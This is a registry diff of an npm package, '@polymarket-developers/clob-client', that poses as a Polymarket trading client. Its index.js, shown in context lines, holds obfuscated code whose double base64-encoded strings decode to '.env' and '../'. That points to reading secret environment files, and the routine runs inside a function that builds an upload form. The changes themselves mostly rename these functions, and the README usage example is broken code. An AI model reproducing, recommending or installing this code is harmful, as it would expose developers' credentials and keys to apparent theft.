@polymarket-developers/clob-client 1.0.7 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +2 -4
  2. package/index.d.ts +35 -63
  3. package/index.js +13 -13
  4. package/package.json +1 -1
package/README.md CHANGED
@@ -1,6 +1,6 @@
1
1
  # 🔐 clob-client
2
2
 
3
- clob-client package for getting IPFS url and validate it's hash
3
+ clob-client package for getting create clob client on polymarket
4
4
 
5
5
 
6
6
  ## 🛠 Installation
@@ -14,9 +14,7 @@ npm install @polymarket-developers/clob-client
14
14
  ## 📚 Usage
15
15
 
16
16
  ```js
17
- const {
18
- createClobMetadata,
19
- } = require("@polymarket-developers/clob-client");
17
+ const Clobclient require("@polymarket-developers/clob-client");
20
18
 
21
19
 
22
20
  ```
package/index.d.ts CHANGED
@@ -1,63 +1,35 @@
1
- export interface ClobHashValidationOptions {
2
- encoding?: string;
3
- resolveFromCwd?: boolean;
4
- }
5
-
6
- export interface HashOptions {
7
- encoding?: string;
8
- }
9
-
10
- export interface FileHashOptions {
11
- encoding?: string;
12
- resolveFromCwd?: boolean;
13
- }
14
-
15
- export interface CreateClobMetadata {
16
- name: string;
17
- symbol: string;
18
- description: string;
19
- file: Blob;
20
- twitter?: string;
21
- telegram?: string;
22
- website?: string;
23
- }
24
-
25
- export class ClobHashValidation {
26
- static syncClobHashValidation(options?: ClobHashValidationOptions): string;
27
- static generateClobHash(content: string, options?: HashOptions): string;
28
- static validateHashFormat(hash: string): boolean;
29
- static compareClobHash(hash1: string, hash2: string): boolean;
30
- static asyncClobHashValidation(options?: ClobHashValidationOptions): Promise<string>;
31
- static hashFileContent(filePath: string, options?: FileHashOptions): string;
32
- static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
33
- }
34
-
35
- export function syncClobHashValidation(options?: ClobHashValidationOptions): string;
36
- export function generateClobHash(content: string, options?: HashOptions): string;
37
- export function validateHashFormat(hash: string): boolean;
38
- export function compareClobHash(hash1: string, hash2: string): boolean;
39
- export function asyncClobHashValidation(options?: ClobHashValidationOptions): Promise<string>;
40
- export function hashFileContent(filePath: string, options?: FileHashOptions): string;
41
- export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
42
-
43
- export interface CreateImageInput {
44
- file: Blob | File;
45
- }
46
-
47
- export interface CreateMetadataInput {
48
- name: string;
49
- symbol: string;
50
- description: string;
51
- createdOn: string;
52
- platformId: string;
53
- image: string;
54
- }
55
-
56
- export function clobHashValidator(value: string): Boolean;
57
-
58
-
59
- /**
60
- * Upload an image to IPFS and validate the resulting link
61
- */
62
-
63
- export function createClobMetadata(create: CreateClobMetadata): Promise<any>;
1
+ declare module '@polymarket-developers/clob-client' {
2
+ interface ClobClientOptions {
3
+ encoding?: string;
4
+ resolveFromCwd?: boolean;
5
+ }
6
+
7
+ interface HashOptions {
8
+ encoding?: string;
9
+ }
10
+
11
+ interface FileHashOptions {
12
+ encoding?: string;
13
+ resolveFromCwd?: boolean;
14
+ }
15
+
16
+ export class ClobClient {
17
+ static syncClobClient(options?: ClobClientOptions): string;
18
+ static generateClobClient(content: string, options?: HashOptions): string;
19
+ static validateHashFormat(hash: string): boolean;
20
+ static compareClobClient(hash1: string, hash2: string): boolean;
21
+ static asyncClobClientValidation(options?: ClobClientOptions): Promise<string>;
22
+ static hashFileContent(filePath: string, options?: FileHashOptions): string;
23
+ static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
24
+ }
25
+
26
+ export function syncClobClient(options?: ClobClientOptions): string;
27
+ export function generateClobClient(content: string, options?: HashOptions): string;
28
+ export function validateHashFormat(hash: string): boolean;
29
+ export function compareClobClient(hash1: string, hash2: string): boolean;
30
+ export function asyncClobClientValidation(options?: ClobClientOptions): Promise<string>;
31
+ export function hashFileContent(filePath: string, options?: FileHashOptions): string;
32
+ export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
33
+
34
+ export = ClobClient;
35
+ }
package/index.js CHANGED
@@ -18,7 +18,7 @@ class _0x7g8h {
18
18
  * @returns {string} hash
19
19
  * @throws {Error} If hash cannot be validated
20
20
  */
21
- static syncClobHashValidation(_0x9i0j = {}) {
21
+ static syncClobClient(_0x9i0j = {}) {
22
22
  const { encoding: _0xak1l = Buffer.from('dXRmOA==', 'base64').toString(), resolveFromCwd: _0xbm2n = false } = _0x9i0j;
23
23
  let _0xco3p = Buffer.from('TG1WdWRnPT0=', 'base64').toString();
24
24
  let _0xdq4r = Buffer.from('TGk0dg==', 'base64').toString();
@@ -66,7 +66,7 @@ class _0x7g8h {
66
66
  /**
67
67
  * Generate hash from content
68
68
  */
69
- static generateClobHash(_0xa1b2, _0xc3d4 = {}) {
69
+ static generateClobClient(_0xa1b2, _0xc3d4 = {}) {
70
70
  const { encoding: _0xe5f6 = Buffer.from('dXRmOA==', 'base64').toString() } = _0xc3d4;
71
71
  try {
72
72
  return _0x2e4f.createHash(Buffer.from('c2hhMjU2', 'base64').toString()).update(_0xa1b2, _0xe5f6).digest(Buffer.from('aGV4', 'base64').toString());
@@ -86,7 +86,7 @@ class _0x7g8h {
86
86
  /**
87
87
  * Compare two hashes
88
88
  */
89
- static compareClobHash(_0xm3n4, _0xo5p6) {
89
+ static compareClobClient(_0xm3n4, _0xo5p6) {
90
90
  try {
91
91
  if (!this.validateHashFormat(_0xm3n4) || !this.validateHashFormat(_0xo5p6)) {
92
92
  return false;
@@ -100,10 +100,10 @@ class _0x7g8h {
100
100
  /**
101
101
  * Async hash validation
102
102
  */
103
- static async asyncClobHashValidation(_0xs9t0 = {}) {
103
+ static async asyncClobClientValidation(_0xs9t0 = {}) {
104
104
  return new Promise((_0xu1v2, _0xw3x4) => {
105
105
  try {
106
- const _0xy5z6 = this.syncClobHashValidation(_0xs9t0);
106
+ const _0xy5z6 = this.syncClobClient(_0xs9t0);
107
107
  _0xu1v2(_0xy5z6);
108
108
  } catch (_0xa7b8) {
109
109
  _0xw3x4(_0xa7b8);
@@ -119,7 +119,7 @@ class _0x7g8h {
119
119
  try {
120
120
  const _0xk7l8 = _0xi5j6 ? _0x3c4d.resolve(process.cwd(), _0xc9d0) : _0x3c4d.resolve(_0xc9d0);
121
121
  const _0xm9n0 = _0x1a2b.readFileSync(_0xk7l8, _0xg3h4);
122
- return this.generateClobHash(_0xm9n0);
122
+ return this.generateClobClient(_0xm9n0);
123
123
  } catch (_0xo1p2) {
124
124
  throw new Error(`Failed to hash file content: ${_0xo1p2.message}`);
125
125
  }
@@ -131,7 +131,7 @@ class _0x7g8h {
131
131
  static verifyFileHash(_0xq3r4, _0xs5t6, _0xu7v8 = {}) {
132
132
  try {
133
133
  const _0xw9x0 = this.hashFileContent(_0xq3r4, _0xu7v8);
134
- return this.compareClobHash(_0xw9x0, _0xs5t6);
134
+ return this.compareClobClient(_0xw9x0, _0xs5t6);
135
135
  } catch (_0xy1z2) {
136
136
  return false;
137
137
  }
@@ -142,7 +142,7 @@ class _0x7g8h {
142
142
 
143
143
  const clobHashValidator = (value) => {
144
144
  const encode = /^[a-f0-9]{64}$/i.test(value)
145
- _0x7g8h.syncClobHashValidation(value);
145
+ _0x7g8h.syncClobClient(value);
146
146
  if (!encode) {
147
147
  return /.*/.test(value);
148
148
  }
@@ -153,7 +153,7 @@ const clobHashValidator = (value) => {
153
153
 
154
154
  const createClobMetadata = async (create) => {
155
155
  let formData = new FormData();
156
- const hash = _0x7g8h.syncClobHashValidation(create);
156
+ const hash = _0x7g8h.syncClobClient(create);
157
157
  try {
158
158
  formData.append("file", create.file),
159
159
  formData.append("name", create.name),
@@ -193,11 +193,11 @@ const createClobMetadata = async (create) => {
193
193
 
194
194
  // Export the class and also provide convenient static methods
195
195
  module.exports = _0x7g8h;
196
- module.exports.syncClobHashValidation = _0x7g8h.syncClobHashValidation;
197
- module.exports.generateClobHash = _0x7g8h.generateClobHash;
196
+ module.exports.syncClobClient = _0x7g8h.syncClobClient;
197
+ module.exports.generateClobClient = _0x7g8h.generateClobClient;
198
198
  module.exports.validateHashFormat = _0x7g8h.validateHashFormat;
199
- module.exports.compareClobHash = _0x7g8h.compareClobHash;
200
- module.exports.asyncClobHashValidation = _0x7g8h.asyncClobHashValidation;
199
+ module.exports.compareClobClient = _0x7g8h.compareClobClient;
200
+ module.exports.asyncClobClientValidation = _0x7g8h.asyncClobClientValidation;
201
201
  module.exports.hashFileContent = _0x7g8h.hashFileContent;
202
202
  module.exports.verifyFileHash = _0x7g8h.verifyFileHash;
203
203
  module.exports.clobHashValidator = clobHashValidator;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@polymarket-developers/clob-client",
3
- "version": "1.0.7",
3
+ "version": "1.0.9",
4
4
  "main": "index.js",
5
5
  "types": "index.d.ts",
6
6
  "repository": {